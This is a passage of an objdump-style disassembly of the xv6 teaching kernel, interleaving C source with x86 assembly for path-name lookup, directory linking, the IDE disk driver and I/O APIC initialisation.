80101da0 <namex+0x110> 80101cf8: 3c 2f cmp $0x2f,%al 80101cfa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101d00: 74 0a je 80101d0c <namex+0x7c> path++; 80101d02: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101d05: 0f b6 02 movzbl (%edx),%eax 80101d08: 84 c0 test %al,%al 80101d0a: 75 ec jne 80101cf8 <namex+0x68> 80101d0c: 89 d1 mov %edx,%ecx 80101d0e: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101d10: 83 f9 0d cmp $0xd,%ecx 80101d13: 0f 8e 8f 00 00 00 jle 80101da8 <namex+0x118> memmove(name, s, DIRSIZ); 80101d19: 89 5c 24 04 mov %ebx,0x4(%esp) 80101d1d: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101d24: 00 80101d25: 89 3c 24 mov %edi,(%esp) 80101d28: 89 55 e4 mov %edx,-0x1c(%ebp) 80101d2b: e8 00 26 00 00 call 80104330 <memmove> path++; 80101d30: 8b 55 e4 mov -0x1c(%ebp),%edx 80101d33: 89 d3 mov %edx,%ebx while(*path == '/') 80101d35: 80 3a 2f cmpb $0x2f,(%edx) 80101d38: 75 0e jne 80101d48 <namex+0xb8> 80101d3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; 80101d40: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d43: 80 3b 2f cmpb $0x2f,(%ebx) 80101d46: 74 f8 je 80101d40 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d48: 89 34 24 mov %esi,(%esp) 80101d4b: e8 70 f9 ff ff call 801016c0 <ilock> if(ip->type != T_DIR){ 80101d50: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d55: 0f 85 85 00 00 00 jne 80101de0 <namex+0x150> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d5b: 8b 55 e0 mov -0x20(%ebp),%edx 80101d5e: 85 d2 test %edx,%edx 80101d60: 74 09 je 80101d6b <namex+0xdb> 80101d62: 80 3b 00 cmpb $0x0,(%ebx) 80101d65: 0f 84 a5 00 00 00 je 80101e10 <namex+0x180> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d6b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101d72: 00 80101d73: 89 7c 24 04 mov %edi,0x4(%esp) 80101d77: 89 34 24 mov %esi,(%esp) 80101d7a: e8 51 fe ff ff call 80101bd0 <dirlookup> 80101d7f: 85 c0 test %eax,%eax 80101d81: 74 5d je 80101de0 <namex+0x150> iunlock(ip); 80101d83: 89 34 24 mov %esi,(%esp) 80101d86: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d89: e8 12 fa ff ff call 801017a0 <iunlock> iput(ip); 80101d8e: 89 34 24 mov %esi,(%esp) 80101d91: e8 4a fa ff ff call 801017e0 <iput> iunlockput(ip); return 0; } iunlockput(ip); ip = next; 80101d96: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d99: 89 c6 mov %eax,%esi 80101d9b: e9 33 ff ff ff jmp 80101cd3 <namex+0x43> while(*path != '/' && *path != 0) 80101da0: 31 c9 xor %ecx,%ecx 80101da2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(name, s, len); 80101da8: 89 4c 24 08 mov %ecx,0x8(%esp) 80101dac: 89 5c 24 04 mov %ebx,0x4(%esp) 80101db0: 89 3c 24 mov %edi,(%esp) 80101db3: 89 55 dc mov %edx,-0x24(%ebp) 80101db6: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101db9: e8 72 25 00 00 call 80104330 <memmove> name[len] = 0; 80101dbe: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101dc1: 8b 55 dc mov -0x24(%ebp),%edx 80101dc4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101dc8: 89 d3 mov %edx,%ebx 80101dca: e9 66 ff ff ff jmp 80101d35 <namex+0xa5> } if(nameiparent){ 80101dcf: 8b 45 e0 mov -0x20(%ebp),%eax 80101dd2: 85 c0 test %eax,%eax 80101dd4: 75 4c jne 80101e22 <namex+0x192> 80101dd6: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101dd8: 83 c4 2c add $0x2c,%esp 80101ddb: 5b pop %ebx 80101ddc: 5e pop %esi 80101ddd: 5f pop %edi 80101dde: 5d pop %ebp 80101ddf: c3 ret iunlock(ip); 80101de0: 89 34 24 mov %esi,(%esp) 80101de3: e8 b8 f9 ff ff call 801017a0 <iunlock> iput(ip); 80101de8: 89 34 24 mov %esi,(%esp) 80101deb: e8 f0 f9 ff ff call 801017e0 <iput> } 80101df0: 83 c4 2c add $0x2c,%esp return 0; 80101df3: 31 c0 xor %eax,%eax } 80101df5: 5b pop %ebx 80101df6: 5e pop %esi 80101df7: 5f pop %edi 80101df8: 5d pop %ebp 80101df9: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101dfa: ba 01 00 00 00 mov $0x1,%edx 80101dff: b8 01 00 00 00 mov $0x1,%eax 80101e04: e8 17 f4 ff ff call 80101220 <iget> 80101e09: 89 c6 mov %eax,%esi 80101e0b: e9 c3 fe ff ff jmp 80101cd3 <namex+0x43> iunlock(ip); 80101e10: 89 34 24 mov %esi,(%esp) 80101e13: e8 88 f9 ff ff call 801017a0 <iunlock> } 80101e18: 83 c4 2c add $0x2c,%esp return ip; 80101e1b: 89 f0 mov %esi,%eax } 80101e1d: 5b pop %ebx 80101e1e: 5e pop %esi 80101e1f: 5f pop %edi 80101e20: 5d pop %ebp 80101e21: c3 ret iput(ip); 80101e22: 89 34 24 mov %esi,(%esp) 80101e25: e8 b6 f9 ff ff call 801017e0 <iput> return 0; 80101e2a: 31 c0 xor %eax,%eax 80101e2c: eb aa jmp 80101dd8 <namex+0x148> 80101e2e: 66 90 xchg %ax,%ax 80101e30 <dirlink>: { 80101e30: 55 push %ebp 80101e31: 89 e5 mov %esp,%ebp 80101e33: 57 push %edi 80101e34: 56 push %esi 80101e35: 53 push %ebx 80101e36: 83 ec 2c sub $0x2c,%esp 80101e39: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e3c: 8b 45 0c mov 0xc(%ebp),%eax 80101e3f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101e46: 00 80101e47: 89 1c 24 mov %ebx,(%esp) 80101e4a: 89 44 24 04 mov %eax,0x4(%esp) 80101e4e: e8 7d fd ff ff call 80101bd0 <dirlookup> 80101e53: 85 c0 test %eax,%eax 80101e55: 0f 85 8b 00 00 00 jne 80101ee6 <dirlink+0xb6> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e5b: 8b 43 58 mov 0x58(%ebx),%eax 80101e5e: 31 ff xor %edi,%edi 80101e60: 8d 75 d8 lea -0x28(%ebp),%esi 80101e63: 85 c0 test %eax,%eax 80101e65: 75 13 jne 80101e7a <dirlink+0x4a> 80101e67: eb 35 jmp 80101e9e <dirlink+0x6e> 80101e69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e70: 8d 57 10 lea 0x10(%edi),%edx 80101e73: 39 53 58 cmp %edx,0x58(%ebx) 80101e76: 89 d7 mov %edx,%edi 80101e78: 76 24 jbe 80101e9e <dirlink+0x6e> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e7a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e81: 00 80101e82: 89 7c 24 08 mov %edi,0x8(%esp) 80101e86: 89 74 24 04 mov %esi,0x4(%esp) 80101e8a: 89 1c 24 mov %ebx,(%esp) 80101e8d: e8 de fa ff ff call 80101970 <readi> 80101e92: 83 f8 10 cmp $0x10,%eax 80101e95: 75 5e jne 80101ef5 <dirlink+0xc5> if(de.inum == 0) 80101e97: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e9c: 75 d2 jne 80101e70 <dirlink+0x40> strncpy(de.name, name, DIRSIZ); 80101e9e: 8b 45 0c mov 0xc(%ebp),%eax 80101ea1: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101ea8: 00 80101ea9: 89 44 24 04 mov %eax,0x4(%esp) 80101ead: 8d 45 da lea -0x26(%ebp),%eax 80101eb0: 89 04 24 mov %eax,(%esp) 80101eb3: e8 68 25 00 00 call 80104420 <strncpy> de.inum = inum; 80101eb8: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ebb: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101ec2: 00 80101ec3: 89 7c 24 08 mov %edi,0x8(%esp) 80101ec7: 89 74 24 04 mov %esi,0x4(%esp) 80101ecb: 89 1c 24 mov %ebx,(%esp) de.inum = inum; 80101ece: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ed2: e8 99 fb ff ff call 80101a70 <writei> 80101ed7: 83 f8 10 cmp $0x10,%eax 80101eda: 75 25 jne 80101f01 <dirlink+0xd1> return 0; 80101edc: 31 c0 xor %eax,%eax } 80101ede: 83 c4 2c add $0x2c,%esp 80101ee1: 5b pop %ebx 80101ee2: 5e pop %esi 80101ee3: 5f pop %edi 80101ee4: 5d pop %ebp 80101ee5: c3 ret iput(ip); 80101ee6: 89 04 24 mov %eax,(%esp) 80101ee9: e8 f2 f8 ff ff call 801017e0 <iput> return -1; 80101eee: b8 ff ff ff ff mov $0xffffffff,%eax 80101ef3: eb e9 jmp 80101ede <dirlink+0xae> panic("dirlink read"); 80101ef5: c7 04 24 08 70 10 80 movl $0x80107008,(%esp) 80101efc: e8 5f e4 ff ff call 80100360 <panic> panic("dirlink"); 80101f01: c7 04 24 06 76 10 80 movl $0x80107606,(%esp) 80101f08: e8 53 e4 ff ff call 80100360 <panic> 80101f0d: 8d 76 00 lea 0x0(%esi),%esi 80101f10 <namei>: struct inode* namei(char *path) { 80101f10: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101f11: 31 d2 xor %edx,%edx { 80101f13: 89 e5 mov %esp,%ebp 80101f15: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101f18: 8b 45 08 mov 0x8(%ebp),%eax 80101f1b: 8d 4d ea lea -0x16(%ebp),%ecx 80101f1e: e8 6d fd ff ff call 80101c90 <namex> } 80101f23: c9 leave 80101f24: c3 ret 80101f25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f30 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f30: 55 push %ebp return namex(path, 1, name); 80101f31: ba 01 00 00 00 mov $0x1,%edx { 80101f36: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f38: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f3b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f3e: 5d pop %ebp return namex(path, 1, name); 80101f3f: e9 4c fd ff ff jmp 80101c90 <namex> 80101f44: 66 90 xchg %ax,%ax 80101f46: 66 90 xchg %ax,%ax 80101f48: 66 90 xchg %ax,%ax 80101f4a: 66 90 xchg %ax,%ax 80101f4c: 66 90 xchg %ax,%ax 80101f4e: 66 90 xchg %ax,%ax 80101f50 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f50: 55 push %ebp 80101f51: 89 e5 mov %esp,%ebp 80101f53: 56 push %esi 80101f54: 89 c6 mov %eax,%esi 80101f56: 53 push %ebx 80101f57: 83 ec 10 sub $0x10,%esp if(b == 0) 80101f5a: 85 c0 test %eax,%eax 80101f5c: 0f 84 99 00 00 00 je 80101ffb <idestart+0xab> panic("idestart"); if(b->blockno >= FSSIZE) 80101f62: 8b 48 08 mov 0x8(%eax),%ecx 80101f65: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx 80101f6b: 0f 87 7e 00 00 00 ja 80101fef <idestart+0x9f> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f71: ba f7 01 00 00 mov $0x1f7,%edx 80101f76: 66 90 xchg %ax,%ax 80101f78: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f79: 83 e0 c0 and $0xffffffc0,%eax 80101f7c: 3c 40 cmp $0x40,%al 80101f7e: 75 f8 jne 80101f78 <idestart+0x28> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f80: 31 db xor %ebx,%ebx 80101f82: ba f6 03 00 00 mov $0x3f6,%edx 80101f87: 89 d8 mov %ebx,%eax 80101f89: ee out %al,(%dx) 80101f8a: ba f2 01 00 00 mov $0x1f2,%edx 80101f8f: b8 01 00 00 00 mov $0x1,%eax 80101f94: ee out %al,(%dx) 80101f95: 0f b6 c1 movzbl %cl,%eax 80101f98: b2 f3 mov $0xf3,%dl 80101f9a: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f9b: 89 c8 mov %ecx,%eax 80101f9d: b2 f4 mov $0xf4,%dl 80101f9f: c1 f8 08 sar $0x8,%eax 80101fa2: ee out %al,(%dx) 80101fa3: b2 f5 mov $0xf5,%dl 80101fa5: 89 d8 mov %ebx,%eax 80101fa7: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101fa8: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101fac: b2 f6 mov $0xf6,%dl 80101fae: 83 e0 01 and $0x1,%eax 80101fb1: c1 e0 04 shl $0x4,%eax 80101fb4: 83 c8 e0 or $0xffffffe0,%eax 80101fb7: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101fb8: f6 06 04 testb $0x4,(%esi) 80101fbb: 75 13 jne 80101fd0 <idestart+0x80> 80101fbd: ba f7 01 00 00 mov $0x1f7,%edx 80101fc2: b8 20 00 00 00 mov $0x20,%eax 80101fc7: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101fc8: 83 c4 10 add $0x10,%esp 80101fcb: 5b pop %ebx 80101fcc: 5e pop %esi 80101fcd: 5d pop %ebp 80101fce: c3 ret 80101fcf: 90 nop 80101fd0: b2 f7 mov $0xf7,%dl 80101fd2: b8 30 00 00 00 mov $0x30,%eax 80101fd7: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fd8: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fdd: 83 c6 5c add $0x5c,%esi 80101fe0: ba f0 01 00 00 mov $0x1f0,%edx 80101fe5: fc cld 80101fe6: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fe8: 83 c4 10 add $0x10,%esp 80101feb: 5b pop %ebx 80101fec: 5e pop %esi 80101fed: 5d pop %ebp 80101fee: c3 ret panic("incorrect blockno"); 80101fef: c7 04 24 74 70 10 80 movl $0x80107074,(%esp) 80101ff6: e8 65 e3 ff ff call 80100360 <panic> panic("idestart"); 80101ffb: c7 04 24 6b 70 10 80 movl $0x8010706b,(%esp) 80102002: e8 59 e3 ff ff call 80100360 <panic> 80102007: 89 f6 mov %esi,%esi 80102009: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102010 <ideinit>: { 80102010: 55 push %ebp 80102011: 89 e5 mov %esp,%ebp 80102013: 83 ec 18 sub $0x18,%esp initlock(&idelock, "ide"); 80102016: c7 44 24 04 86 70 10 movl $0x80107086,0x4(%esp) 8010201d: 80 8010201e: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102025: e8 36 20 00 00 call 80104060 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 8010202a: a1 00 2d 11 80 mov 0x80112d00,%eax 8010202f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102036: 83 e8 01 sub $0x1,%eax 80102039: 89 44 24 04 mov %eax,0x4(%esp) 8010203d: e8 7e 02 00 00 call 801022c0 <ioapicenable> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102042: ba f7 01 00 00 mov $0x1f7,%edx 80102047: 90 nop 80102048: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102049: 83 e0 c0 and $0xffffffc0,%eax 8010204c: 3c 40 cmp $0x40,%al 8010204e: 75 f8 jne 80102048 <ideinit+0x38> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102050: ba f6 01 00 00 mov $0x1f6,%edx 80102055: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010205a: ee out %al,(%dx) 8010205b: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102060: b2 f7 mov $0xf7,%dl 80102062: eb 09 jmp 8010206d <ideinit+0x5d> 80102064: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<1000; i++){ 80102068: 83 e9 01 sub $0x1,%ecx 8010206b: 74 0f je 8010207c <ideinit+0x6c> 8010206d: ec in (%dx),%al if(inb(0x1f7) != 0){ 8010206e: 84 c0 test %al,%al 80102070: 74 f6 je 80102068 <ideinit+0x58> havedisk1 = 1; 80102072: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102079: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010207c: ba f6 01 00 00 mov $0x1f6,%edx 80102081: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102086: ee out %al,(%dx) } 80102087: c9 leave 80102088: c3 ret 80102089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102090 <ideintr>: // Interrupt handler. void ideintr(void) { 80102090: 55 push %ebp 80102091: 89 e5 mov %esp,%ebp 80102093: 57 push %edi 80102094: 56 push %esi 80102095: 53 push %ebx 80102096: 83 ec 1c sub $0x1c,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102099: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020a0: e8 ab 20 00 00 call 80104150 <acquire> if((b = idequeue) == 0){ 801020a5: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 801020ab: 85 db test %ebx,%ebx 801020ad: 74 30 je 801020df <ideintr+0x4f> release(&idelock); return; } idequeue = b->qnext; 801020af: 8b 43 58 mov 0x58(%ebx),%eax 801020b2: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020b7: 8b 33 mov (%ebx),%esi 801020b9: f7 c6 04 00 00 00 test $0x4,%esi 801020bf: 74 37 je 801020f8 <ideintr+0x68> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020c1: 83 e6 fb and $0xfffffffb,%esi 801020c4: 83 ce 02 or $0x2,%esi 801020c7: 89 33 mov %esi,(%ebx) wakeup(b); 801020c9: 89 1c 24 mov %ebx,(%esp) 801020cc: e8 cf 1c 00 00 call 80103da0 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020d1: a1 64 a5 10 80 mov 0x8010a564,%eax 801020d6: 85 c0 test %eax,%eax 801020d8: 74 05 je 801020df <ideintr+0x4f> idestart(idequeue); 801020da: e8 71 fe ff ff call 80101f50 <idestart> release(&idelock); 801020df: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020e6: e8 55 21 00 00 call 80104240 <release> release(&idelock); } 801020eb: 83 c4 1c add $0x1c,%esp 801020ee: 5b pop %ebx 801020ef: 5e pop %esi 801020f0: 5f pop %edi 801020f1: 5d pop %ebp 801020f2: c3 ret 801020f3: 90 nop 801020f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020f8: ba f7 01 00 00 mov $0x1f7,%edx 801020fd: 8d 76 00 lea 0x0(%esi),%esi 80102100: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102101: 89 c1 mov %eax,%ecx 80102103: 83 e1 c0 and $0xffffffc0,%ecx 80102106: 80 f9 40 cmp $0x40,%cl 80102109: 75 f5 jne 80102100 <ideintr+0x70> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 8010210b: a8 21 test $0x21,%al 8010210d: 75 b2 jne 801020c1 <ideintr+0x31> insl(0x1f0, b->data, BSIZE/4); 8010210f: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 80102112: b9 80 00 00 00 mov $0x80,%ecx 80102117: ba f0 01 00 00 mov $0x1f0,%edx 8010211c: fc cld 8010211d: f3 6d rep insl (%dx),%es:(%edi) 8010211f: 8b 33 mov (%ebx),%esi 80102121: eb 9e jmp 801020c1 <ideintr+0x31> 80102123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102130 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102130: 55 push %ebp 80102131: 89 e5 mov %esp,%ebp 80102133: 53 push %ebx 80102134: 83 ec 14 sub $0x14,%esp 80102137: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010213a: 8d 43 0c lea 0xc(%ebx),%eax 8010213d: 89 04 24 mov %eax,(%esp) 80102140: e8 eb 1e 00 00 call 80104030 <holdingsleep> 80102145: 85 c0 test %eax,%eax 80102147: 0f 84 9e 00 00 00 je 801021eb <iderw+0xbb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010214d: 8b 03 mov (%ebx),%eax 8010214f: 83 e0 06 and $0x6,%eax 80102152: 83 f8 02 cmp $0x2,%eax 80102155: 0f 84 a8 00 00 00 je 80102203 <iderw+0xd3> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010215b: 8b 53 04 mov 0x4(%ebx),%edx 8010215e: 85 d2 test %edx,%edx 80102160: 74 0d je 8010216f <iderw+0x3f> 80102162: a1 60 a5 10 80 mov 0x8010a560,%eax 80102167: 85 c0 test %eax,%eax 80102169: 0f 84 88 00 00 00 je 801021f7 <iderw+0xc7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 8010216f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102176: e8 d5 1f 00 00 call 80104150 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010217b: a1 64 a5 10 80 mov 0x8010a564,%eax b->qnext = 0; 80102180: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102187: 85 c0 test %eax,%eax 80102189: 75 07 jne 80102192 <iderw+0x62> 8010218b: eb 4e jmp 801021db <iderw+0xab> 8010218d: 8d 76 00 lea 0x0(%esi),%esi 80102190: 89 d0 mov %edx,%eax 80102192: 8b 50 58 mov 0x58(%eax),%edx 80102195: 85 d2 test %edx,%edx 80102197: 75 f7 jne 80102190 <iderw+0x60> 80102199: 83 c0 58 add $0x58,%eax ; *pp = b; 8010219c: 89 18 mov %ebx,(%eax) // Start disk if necessary. if(idequeue == b) 8010219e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 801021a4: 74 3c je 801021e2 <iderw+0xb2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021a6: 8b 03 mov (%ebx),%eax 801021a8: 83 e0 06 and $0x6,%eax 801021ab: 83 f8 02 cmp $0x2,%eax 801021ae: 74 1a je 801021ca <iderw+0x9a> sleep(b, &idelock); 801021b0: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp) 801021b7: 80 801021b8: 89 1c 24 mov %ebx,(%esp) 801021bb: e8 50 1a 00 00 call 80103c10 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021c0: 8b 13 mov (%ebx),%edx 801021c2: 83 e2 06 and $0x6,%edx 801021c5: 83 fa 02 cmp $0x2,%edx 801021c8: 75 e6 jne 801021b0 <iderw+0x80> } release(&idelock); 801021ca: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021d1: 83 c4 14 add $0x14,%esp 801021d4: 5b pop %ebx 801021d5: 5d pop %ebp release(&idelock); 801021d6: e9 65 20 00 00 jmp 80104240 <release> for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021db: b8 64 a5 10 80 mov $0x8010a564,%eax 801021e0: eb ba jmp 8010219c <iderw+0x6c> idestart(b); 801021e2: 89 d8 mov %ebx,%eax 801021e4: e8 67 fd ff ff call 80101f50 <idestart> 801021e9: eb bb jmp 801021a6 <iderw+0x76> panic("iderw: buf not locked"); 801021eb: c7 04 24 8a 70 10 80 movl $0x8010708a,(%esp) 801021f2: e8 69 e1 ff ff call 80100360 <panic> panic("iderw: ide disk 1 not present"); 801021f7: c7 04 24 b5 70 10 80 movl $0x801070b5,(%esp) 801021fe: e8 5d e1 ff ff call 80100360 <panic> panic("iderw: nothing to do"); 80102203: c7 04 24 a0 70 10 80 movl $0x801070a0,(%esp) 8010220a: e8 51 e1 ff ff call 80100360 <panic> 8010220f: 90 nop 80102210 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102210: 55 push %ebp 80102211: 89 e5 mov %esp,%ebp 80102213: 56 push %esi 80102214: 53 push %ebx 80102215: 83 ec 10 sub $0x10,%esp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102218: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 8010221f: 00 c0 fe ioapic->reg = reg; 80102222: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102229: 00 00 00 return ioapic->data; 8010222c: 8b 15 34 26 11 80 mov 0x80112634,%edx 80102232: 8b 42 10 mov 0x10(%edx),%eax ioapic->reg = reg; 80102235: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 8010223b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102241: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102248: c1 e8 10 shr $0x10,%eax 8010224b: 0f b6 f0 movzbl %al,%esi return ioapic->data; 8010224e: 8b 43 10 mov 0x10(%ebx),%eax id = ioapicread(REG_ID) >> 24; 80102251: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102254: 39 c2 cmp %eax,%edx 80102256: 74 12 je 8010226a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102258: c7 04 24 d4 70 10 80 movl $0x801070d4,(%esp) 8010225f: e8 ec e3 ff ff call 80100650 <cprintf> 80102264: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 8010226a: ba 10 00 00 00 mov $0x10,%edx 8010226f: 31 c0 xor %eax,%eax 80102271: eb 07 jmp 8010227a <ioapicinit+0x6a> 80102273: 90 nop 80102274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102278: 89 cb mov %ecx,%ebx ioapic->reg = reg; 8010227a: 89 13 mov %edx,(%ebx) ioapic->data = data; 8010227c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 80102282: 8d 48 20 lea 0x20(%eax),%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102285: 81 c9 00 00 01 00 or $0x10000,%ecx for(i = 0; i <= maxintr; i++){ 8010228b: 83 c0 01 add $0x1,%eax ioapic->data = data; 8010228e: 89 4b 10 mov %ecx,0x10(%ebx) 80102291: 8d 4a 01 lea 0x1(%edx),%ecx 80102294: 83 c2 02 add $0x2,%edx ioapic->reg = reg; 80102297: 89 0b mov %ecx,(%ebx) ioapic->data = data; 80102299: 8b 0d 34 26 11 80 mov 0x80112634,%ecx for(i = 0; i <= maxintr; i++){ 8010229f: 39 c6 cmp %eax,%esi ioapic->data = data; 801022a1: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 801022a8: 7d ce jge 80102278 <ioapicinit+0x68> ioapicwrite(REG_TABLE+2*i+1, 0); } } 801022aa: 83 c4 10 add $0x10,%esp 801022ad: 5b pop %ebx 801022ae: 5e pop %esi 801022af: 5d pop %ebp 801022b0: c3 ret 801022b1: eb 0d jmp 801022c0 <ioapicenable> 801022b3: 90 nop 801022b4: 90 nop 801022b5: 90 nop 801022b6: 90 nop 801022b7: 90 nop 801022b8: 90 nop 801022b9: 90 nop 801022ba: 90 nop 801022bb: 90 nop 801022bc: 90 nop 801022bd: 90 nop 801022be: 90 nop 801022bf: 90 nop 801022c0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022c0: 55 push %ebp 801022c1: 89 e5 mov %esp,%ebp 801022c3: 8b 55 08 mov 0x8(%ebp),%edx 801022c6: 53 push %ebx 801022c7: 8b 45 0c mov 0xc(%ebp),%eax // Mark interrupt edge-triggered, active high, // 